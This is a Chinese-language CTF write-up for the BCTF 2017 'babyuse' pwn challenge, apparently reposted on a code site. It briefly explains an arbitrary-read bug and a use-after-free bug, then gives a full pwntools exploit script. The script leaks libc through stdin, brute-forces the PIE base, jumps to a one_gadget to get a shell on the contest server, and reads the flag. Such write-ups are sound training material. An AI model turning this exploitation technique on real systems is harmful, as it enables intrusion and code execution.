首页 > 代码库 > bctf-2017-babyuse
bctf-2017-babyuse
看到这个题目,我就想起了0CTF被babyheap支配的恐惧233。
在sub_12CE函数中存在两个漏洞,一个是任意地址读,一个是UAF漏洞,所以我的思路是先泄露全局变量stdin中的值,从而计算出libc基址,然后触发UAF漏洞,跳到libc中one gadget的地址,直接起来一个shell。
由于程序开了PIE,所以需要爆破程序基址,32位程序也挺容易爆破的。
from pwn import * DEBUG = 0 one_gadget = 0x3ac69 def buy(size, name): p.recvuntil(‘Exit\n‘) p.sendline(‘1‘) p.recvuntil(‘QBZ95\n‘) p.sendline(‘1‘) p.recvline() p.sendline(str(size)) p.recvline() p.sendline(name) def select(no): p.recvuntil(‘Exit\n‘) p.sendline(‘2‘) p.recvline() p.sendline(str(no)) def rename(no, size, name): p.recvuntil(‘Exit\n‘) p.sendline(‘4‘) p.recvline() p.sendline(str(no)) p.recvline() p.sendline(str(size)) p.recvline() p.sendline(name) def use(choice): p.recvuntil(‘Exit\n‘) p.sendline(‘5‘) p.recvuntil(‘menu\n‘) p.sendline(str(choice)) def drop(no): p.recvuntil(‘Exit\n‘) p.sendline(‘6‘) p.recvline() p.sendline(str(no)) def leak(addr): rename(0, 15, p32(0xdeadbeef) + p32(addr)) p.recvuntil(‘Exit\n‘) p.sendline(‘5‘) p.recvuntil(‘Exit\n‘) leak_addr = u32(p.recvline()[11:15]) p.recvuntil(‘menu\n‘) p.sendline(‘4‘) rename(0, 15, p32(0xdeadbeef)) return leak_addr main_base = 0x56556413 while True: try: if DEBUG == 1: p = process(‘./babyuse‘) libc = ELF(‘./libc.so.6‘) else: p = remote(‘202.112.51.247‘, 3456) libc = ELF(‘./libc.so‘) p.recvuntil(‘Token:‘) p.sendline(‘your_team_token‘) buy(15, ‘A‘ * 15) buy(15, ‘B‘ * 15) select(1) drop(1) leak_addr = leak(main_base + 0x2c6d) libc_base = leak_addr - libc.symbols[‘_IO_2_1_stdin_‘] goal_addr = libc_base + one_gadget rename(0, 15, p32(0xdeadbeef) + p32(main_base + 0x2c79)) p.recvuntil(‘Exit\n‘) p.sendline(‘5‘) guns_1 = u32(p.recvline()[11:15]) p.recvuntil(‘menu\n‘) p.sendline(‘4‘) rename(0, 15, p32(0xaaaaaaaa) + p32(main_base + 0x2c6d)) rename(0, 15, p32(guns_1 + 24 + 24 + 8) + p32(main_base + 0x2c6d) + p32(goal_addr)) use(1) except: p.close() pass else: p.sendline(‘cat flag‘) p.interactive() break
babyuse下载
bctf-2017-babyuse
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。